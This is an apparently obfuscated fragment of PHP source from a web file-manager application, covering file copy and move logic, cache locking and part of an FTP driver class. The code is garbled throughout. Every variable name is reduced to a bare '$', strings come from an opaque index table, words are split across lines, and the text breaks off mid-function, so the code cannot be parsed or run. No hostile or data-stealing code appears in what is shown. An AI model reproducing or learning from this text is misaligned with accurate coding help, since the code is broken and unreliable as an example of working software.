$[$]; } else { $ = $this->parentLevelArray($[$[592]]); foreach ($ as $ => $) { if (isset($[ 
$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[493]] = 
= $[91]) { $ .= $[8]; } $[$[590]] = str_replace($[600], $[8], $); if ($[$[192]] == $ 
[228]) { $[$[32]] = trim($[$[$[193]]], $[8]); $[$[590]] = $[$[32]] . $[8] 
; } if (intval($[$[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); retur 
n $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $ 
[$[193]] != $) { return; } $ = explode($[8], trim($[$[590]], $[8])); $ = implode($[8], ar 
ray_slice($, 2)); $[$[590]] = $[8] . LNG($[601]) . $[8] . ltrim($, $[8]); $[$[592]] = 
$[602] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[193]] == $) { $[$[592]] = $ 
[602]; $[$[192]] = $[228]; $[$[32]] = LNG($[601]); } $[$[603]] = $[604]; } protected fu 
nction _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; $ = $[12]; if ($[$[190]] == s 
elf::TYPE_USER) { if ($[$[577]] == USER_ID) { $ = LNG($[605]); if ($ === !1) { $ = Model($[606])->getInfoFull( 
USER_ID); $ = _get($, $[607], $[12]); } if ($ && $[0] == $ || !$ && $[$[193]] == $) { $ 
= LNG($[608]); $[$[609]] = $[610]; } if (!$) { $[$[32]] = $; } } else { $[$[611]] = Model($[585 
])->getInfoSimpleOuter($[$[577]]); $ = LNG($[612]) . $[176] . $[$[611]][$[32]] . $[178]; } } else { if ($ 
[$[190]] == self::TYPE_GROUP) { $ = Model($[593])->getInfoSimple($[$[577]]); $ = $[$[32]]; } else { if ($ 
[$[190]] == self::TYPE_SYSTEM) { $ = $[613]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $ 
; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[535]); $ 
 = array_to_keyvalue($, $[12], $[537]); $ = array_merge($, $); $ = Model($[606])->userListInfo($ 
); foreach ($ as &$) { $ = $[$[535]]; $[$[535]] = $[$] ? $[$] : !1; $ = $ 
[$[537]]; $[$[537]] = $[$] ? $[$] : !1; if (_get($, $[614], 0)) { $ = $GLOBALS[$[6]][$ 
[92]][$[615]]; if ($[$[547]][$[616]] <= time() - $) { $this->metaSet($[$[193]], $[617], null); 
$this->metaSet($[$[193]], $[616], null); unset($[$[547]][$[617]]); continue; } $ = $[$[547]][ 
$[617]]; $[$[547]][$[618]] = Model($[606])->getInfoSimpleOuter($); } } unset($); } public function parent 
LevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $ 
[228]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[619] => arr 
ay($[620], $[$[592]] . $ . $[621]), $[622] => 0); $ = $[623]; $ = "LEFT JOIN  
{$this->tablePrefix}io_file file on source.fileID \x 
3d file.fileID"; $ = $this->alias($[527])->field($)->where($)->join($)->select(); 
$this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[193]); $ 
 = "/{$[$[32]]}/"; $ = $ == $[600] ? $[8] : $; $ = array(); foreach ($ as $ => $ 
) { $ = $this->parentLevelArray($[$[592]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) 
{ $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[493]]) { $ .= $[8]; } $ = arra 
y($[503] => str_replace($[600], $[8], str_replace($[600], $[8], str_replace($[600], $[8], $))), $[624] => intva 
l($[$[493]]), $[625] => intval($[$[79]]), $[88] => intval($[$[88]]), $[90] => $this->pathInfoFilter($)); i 
f (!$[$[493]]) { $[$[549]] = $[$[549]]; } $[] = $; } $ = array_sort_by($, $[87]); return $ 
; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowL 
ock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { retur 
n; } $this->_lockCheck($[626], $); $ = 1; $this->_lockEvent($, array($[627], $[628]), $); $this->_lockParen 
t($, array($[628]), $); $this->_lockEvent($, array($[629], $[630]), $); $this->_lockCheckEnd($[626], $ 
); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent 
($, array($[627], $[628]), $); $this->_lockParent($, array($[628]), $); $this->_lockEvent($, array($ 
[629], $[630]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { 
return; } $this->_lockCheck($[627], $); $ = 1; $this->_lockKey($[631] . $ . $[10] . $, $); $this->_lockE 
vent($, array($[626], $[628]), $); $this->_lockParent($, array($[626], $[628]), $); $this->_lockCheckEnd($ 
[627], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ 
 
 
]; if (!$this->allowLock()) { return; } $this->_lockCheck($[628], $); $ = 1; $this->_lockKey($[632] . $, $ 
); $this->_lockEvent($, array($[626], $[627]), $); $this->_lockParent($, array($[626], $[628]), $) 
; $this->_lockEvent($, array($[633], $[629], $[630]), $); $this->_lockCheckEnd($[628], $); } public func 
tion lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[632] . $, $ 
); $this->_lockEvent($, array($[626], $[627]), $); $this->_lockParent($, array($[626], $[628]), $); $this->_lo 
ckEvent($, array($[633], $[629], $[630]), $); } private function _lockCheck($, $) { $ =& $_SERVER[]; 
$ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($ 
)) { return; } $ = LNG($[634]); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . 
$); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[592]])); 
foreach ($ as $) { $ = $ . $[635] . $; if (CacheLock::lockGet($[636] . $)) { $ = $this->sou 
rceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($ 
, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $ 
[10] . $; CacheLock::setErrorMsg($[329]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this-> 
_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[541] . $]); } $ 
 = $this->sourceInfo($); if (!$) { show_json(LNG($[108]), !1); } } private function _lockParent($, $, $) { if ( 
!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parent 
LevelArray($[$_SERVER[][592]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEv 
ent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[ 
10] . $; if ($ && CacheLock::lockGet($[636] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = a 
rray(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[ 
][636] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($ 
, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock 
($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sour 
ceInfo($); $ = $[$[592]] . $[$[193]] . $[50]; $ = $[$[592]] . $[$[193]] . $[50] 
; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT 
_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$ 
|| !$ || $[$[493]] != $[91]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? 
$ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[637] => array 
(), $[638] => array(), $[639] => array()); $this->targetIsDelete = intval($[$[513]]); $ = $this->fileNameExistA 
uto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd( 
$); $this->lockWriteEnd($, $); if ($[$[493]] == $[91] && $ == $) { $this->folderSizeResetChildr 
en($); } Model($[640])->addAll($[$[638]], array(), !0); if ($ != $ || $[$[493]] == $[91]) 
{ Model($[641])->eventCopy($); } $this->saveAll($[$[639]]); Model($[230])->linkAdd($[$[637]]); $this 
->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $ 
 = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[493]] == $[91]; $ = $ 
 ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ & 
& $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $ 
; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_c 
opyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$ 
[193]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAu 
toCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE) 
{ $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); if ($) { $[$ 
[637]][] = $[$[549]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[642], array($[643], $, 0)); } 
return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache( 
$); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[644], $); Hook: 
:trigger($[645], array($[646], $, 0)); $ = $this->add($); $ = array($[193] => $, $[32] => $); $t 
his->_copyApplyMeta($, $); if ($[$[493]] != $[91]) { $[$[637]][] = $[$[549]]; return $; } $ 
 = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $ 
= $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[59 
2]] = $[$[592]]; $[] = $; } $this->chunkEventSet($[647], array($[648], $, $)); $this->addAll($ 
, array(), !1); $ = $this->where(array($[192] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$ 
] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[193]]; $ = $this->_childrenMa 
tch($, $, $); $[] = array($[193], $, $[192], $[$[192]]); $[] = array($[193], $ 
, $[592], $[$[592]]); $this->_copyApplyMeta($, $); if ($[$[493]] != $[91]) { $[$[637]] 
[] = $[$[549]]; } } $this->chunkEventSet($[649], array($[650], $, $)); $this->saveAll($); $this->chunkEven 
tSet($[651], array($[652], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, 
$) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8] 
. $[$[592]]; $[$] = $[$[193]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$ 
[592]]; $ = $[$]; $[$] = $[$[193]]; } return $; } private function _childrenMatch($, $, 
$) { $ =& $_SERVER[]; $ = $[$[592]]; $ = $this->parentLevelArray($[$[592]]); foreach ($ as 
$) { if (isset($[$])) { $ .= $[$] . $[653]; } } $ = rtrim($, $[50]) . $[50]; $ 
= $this->parentLevelArray($); $ = $[count($) - 1]; return array($[192] => $, $[592] => $); } private 
function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[654] => $[$[493]], $[50 
2] => $, $[655] => $[$[494]] ? $[$[494]] : $[12], $[550] => $[$[549]] ? $[$[ 
549]] : 0, $[625] => $[$[79]] ? $[$[79]] : 0, $[656] => intval($[$[190]]), $[657] => intval( 
$[$[577]]), $[658] => intval(USER_ID), $[659] => intval(USER_ID), $[485] => intval($[$[193]]), $[6 
60] => $[$[592]] . $[$[193]] . $[50], $[506] => $[$[88]] ? $[$[88]] : time(), $[5 
12] => 0, $[661] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $ 
= $[$[193]]; $ = $[$[32]]; if (!isset($[$[662]]) || !$[$[662]] || $[$[662]] == $ 
[228]) { $[$[639]][] = array($[193], $, $[662], short_id($)); } if (Input::check($, $[663])) 
{ $[$[638]][] = array($[193] => $, $[97] => $[546], $[459] => str_replace($[53], $[12], 
Pinyin::get($))); $[$[638]][] = array($[193] => $, $[97] => $[545], $[459] => Pinyin::get($, $ 
[664])); } $[$[638]][] = array($[193] => $, $[97] => $[525], $[459] => KodSort::makeStr($)) 
; } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SE 
RVER[]; $ = $this->sourceInfo($); $ = $[665]; $ = array($[592] => array($[620], $[$[592]] 
. $ . $[621]), $[513] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { retu 
rn; } $ = array_to_keyvalue($, $[193]); foreach ($ as $) { $ = $[$[192]]; $ = $[$[1 
93]]; if (!isset($this->_childrenListCache[$]) && $[$[493]] == $[91]) { $this->_childrenListCache[$] = array(); } 
if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $ 
; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if ( 
!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $ 
[$] = $; if ($[$[493]] == $[91]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($ 
) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } priv 
ate function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this-> 
_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[192] => $ 
, $[513] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to 
_keyvalue($, $[193]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$ 
] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[513]] == $ 
[91]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } privat 
e function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); f 
oreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[193]]; } } return !1; } private functi 
on fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyva 
lue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() { 
$this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array( 
); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($ 
); $ = $this->sourceInfo($); if ($[$[192]] == $[$[193]]) { if ($[$[513]] == $[91]) { 
Model($[511])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfo 
More($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[493]] != $[91]) { retu 
rn !1; } Hook::trigger($[666], $); $this->targetIsDelete = intval($[$[513]]); if ($[$[192]] == $ && $ 
 != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[493]] == $[228]) { $ = $thi 
s->sourceInfo($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); if (!$) { Model($[552])->remo 
ve($[$[549]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[667], $); return $ 
; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($ 
[637] => array(), $[668] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $thi 
s->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[493]] == $[91] && $) { $this->folde 
rSizeResetChildren($); } Model($[230])->linkAdd($[$[637]]); if ($ && $[$[668]]) { $this->removeNow($ 
, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[192]]); $this->folderSiz 
eReset($); $ = array($[$[192]], $); if ($[$[493]] == $[91]) { $[] = $; } $this->update 
ModifyTime($); Model($[641])->eventMove($, $[$[192]], $); Hook::trigger($[667], $); return $ 
; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($ 
); $ = $[$[493]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $ 
); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $ 
 = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); 
$ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_ch 
ildrenListSelect($); foreach ($ as $) { $this->_move($[$[193]], $, $, $); } $ = !0; } } else { i 
f ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAu 
to($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this- 
>sourceInfoCache($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); $ = !0; if ($) { $[$ 
[637]][] = $[$[549]]; } } } } } if ($ && !$[$[668]]) { $[$[668]] = !0; } return $; } private fu 
nction _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); 
$ = $[$[493]] == $[91]; $ = array($[485] => $[$[193]], $[660] => $[$[592]] . $[$ 
[193]] . $[50], $[656] => $[$[190]], $[657] => $[$[577]], $[659] => USER_ID, $[502] => $); 
$ = $[$[190]] == SourceModel::TYPE_GROUP && $[$[190]] == SourceModel::TYPE_GROUP && $[$[577]] == $[$ 
[577]]; if (!$ && $this->moveClearAuth) { Model($[575])->authClear($); } $ = $[$[513]] == $[91] && 
$[$[513]] != $[91]; if ($) { $[$[512]] = 0; } if ($) { $ = array($[660] => array($[620], $ 
[$[592]] . $[$[193]] . $[621])); $ = $[$[592]] . $[$[193]] . $[50]; $ = $[$ 
[592]] . $[$[193]] . $[50] . $[$[193]] . $[50]; $ = array($[660] => array($[669], "r\x6 
5place(parentLevel,'{$}','{$}')"), $[656] => $[$ 
[190]], $[657] => $[$[577]]); if ($) { $[$[512]] = 0; } $this->where($)->data($)->save(); } $this-> 
where(array($[499] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER 
[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[577]] == $[$[577]] && $ 
[$[190]] == $[670]) { return; } $ = array($[592] => array($[620], $[$[592]] . $ . $[621])); $ 
 = $this->field($[499])->where($)->getField($[193], !0); if (!$) { return; } $ = array($[193] => array( 
$[7], $), $[671] => 1); $ = Model($[672])->field($[673])->where($)->select(); if (!$) { return; } $ 
 = array_to_keyvalue($, $[12], $[673]); $ = array($[673] => array($[7], $)); Model($[672])->wh 
ere($)->save(array($[671] => 0)); Model($[674])->where($)->delete(); } public function copyFolderFromIO($, $ 
, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[638] => array(), $[639] => array(), $ 
[637] => array(), $[675] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $ 
); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $t 
his->_childrenAllMake($); } Hook::trigger($[676]); $this->_copyChildTo($, $, $, $, $, $); Hook::tr 
igger($[677]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[640])->addAll($ 
[$[638]], array(), !0); Model($[641])->eventCopy($); $this->saveAll($[$[639]]); Model($[552])->linkAdd($ 
[$[637]]); Model($[552])->remove($[$[675]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ 
; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCac 
he($); $ = $->listPath($); $ = $ ? $ : array($[86] => array(), $[85] => array()); $ = array_merg 
e($[$[86]], $[$[85]]); $ = $this->_addFiles($, $[$[86]], $); $ = array(); foreach ($ as &$ 
) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[493]] = $[$[33]] == $ 
[78]; $[$[494]] = substr(_get($, $[169], $[12]), 0, 10); $[$[79]] = _get($, $[79], 0); $ 
[$[549]] = _get($, $[549], 0); if (!isset($[$[678]]) && $[$[549]]) { $[$[675]][] = $ 
[$[549]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[493]] || $ 
 == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $ 
[$[549]], $[$[79]]); if ($) { $[$[637]][] = $[$[549]]; } continue; } else { if ($ == REPEAT 
_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[493]] && $[ 
$[549]] == 0) { continue; } if (!$[$[493]] && $[$[549]]) { $[$[637]][] = $[$[549]]; } $ 
[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_chil 
drenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $ 
 = $[$[$[32]]]; $ = $[$[193]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[ 
78]) { $[$[87]] = $->getPathInner($[$[87]]); $this->_copyChildTo($, $[$[87]], $, $, $ 
, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return a 
rray(); } $ = array(); foreach ($ as &$) { Hook::trigger($[679], $); $[$[87]] = $->getPathInner($ 
[$[87]]); $ = $->hashSimple($[$[87]]); $ = $->hashMd5($[$[87]]); if (strlen($) > 10 && 
!isset($[$])) { $[$] = array(); } $[$[680]] = $; $[$[555]] = $; $[$][] =& $; if ( 
count($[$]) > 1) { $[$[678]] = !0; } Hook::trigger($[681], $); } unset($); $ = array($[555] => 
array($[7], array_keys($))); $ = Model($[682]); $ = $->where($)->select(); $ = $ ? $ : ar 
ray(); foreach ($ as $) { if (!isset($[$[$[555]]])) { continue; } $ = $[$[$[555]]]; foreach 
($ as &$) { $[$[549]] = $[$[549]]; $[$[678]] = !0; } unset($); } $ = array(); foreach 
($ as $) { Hook::trigger($[683], $); if (isset($[$[678]]) && $[$[678]]) { Hook::trigger($[684] 
, $); continue; } $ = $->getPathInner($[$[87]]); $ = $->addFileMake($, $[$[79]], $[$[68 
0]], $[$[555]], $[$[32]], $); Hook::trigger($[684], $); if (!is_array($)) { continue; } $[] = $ 
; } $->addAll($); $ = array($[555] => array($[7], array_keys($))); $ = $->where($)->select(); 
$ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[555]]])) { continue; } $ =& $[ 
$[$[555]]]; foreach ($ as &$) { $[$[549]] = $[$[549]]; } unset($); } $ = array(); for 
each ($ as $) { $[$[$[32]]] = $; } return $; } } define($_SERVER[][685], $_SERVER[][686]); 
goto D; f: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; pri 
vate $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "1"; public $config = array(); publi 
c function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (! 
$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[]; g 
lobal $config; $this->appCharset = $config[$[1432]]; $this->systemCharset = $config[$[1433]]; if (isset($[$[1434]]) && $ 
[$[1434]]) { $this->systemCharset = $[$[1434]]; } } public function iconvApp($) { return $this->iconvTo($, $this->s 
ystemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemChar 
set); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvA 
pp($); if (substr($, 0, 2) == $[1406]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1406]) 
{ $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($ 
)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private functio 
n _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1435])) { throw new Exception(LNG($[1436])); } $ 
this->config = $; $this->charsetReset($); foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = 
$; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ = 
md5(json_encode($)); if (isset($[$])) { foreach ($[$] as $ => $) { $this->{$} = $; } return !0; 
} $ = parse_url(trim($this->server, $[8])); $this->host = $[$[208]]; $ = isset($[$[207]]) && $[$[ 
207]] == $[1437] ? !0 : !1; $this->scheme = $ ? $[1438] : $[1439]; $this->port = isset($[$[209]]) ? $[$ 
[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1440 
]) . $this->host . $[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$ 
) { $this->writeLog(LNG($[1441]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ 
 = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($[1442] => $this->connect, $ 
[208] => $this->host, $[207] => $this->scheme, $[209] => $this->port); return $; } private function _isconn($ = tru 
e) { if (is_resource($this->connect)) { return !0; } if (!$) { return !1; } return $this->_login($this->config); } public function mkf 
ile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } $this->writ 
eLog(LNG($_SERVER[][1443]), !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$ 
 || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder( 
$) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { retur 
n !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1444] 
, !0); return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSys 
tem($)); $ = $this->tempFile($); $ = $this->iconvApp($); $this->download($, $); $ = $this->upload($ 
, $); $this->tempFileRemve($); return $; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; } 
$ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $, $); if (!$ 
) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } return $this->getPathOuter($); } public function delF 
ile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); i 
f (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); } return $; } public function delFolder($) { if (!$this-> 
_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCac 
he = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $); if 
(!$) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$ 
) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $) 
{ $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ = 
$this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $ 
[8] . $; $ = @ftp_rename($this->connect, $, $); if (!$) { $this->writeLog(__FUNCTION__ . $[1444], !0); return !1 
; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($, $ = false) { $ =& $_SER 
VER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $ 
[78]); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[233]] = !0; return $ 
; } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $th 
is->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$ 
[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$ 
[88]] = 0; $[$[232]] = $[$[233]] = !0; $ = $this->iconvSystem($); $[$[88]] = @ftp_mdtm($this->co 
nnect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[79]] = $[$ 
[79]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 
0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { ret 
urn $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[ 
]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $ 
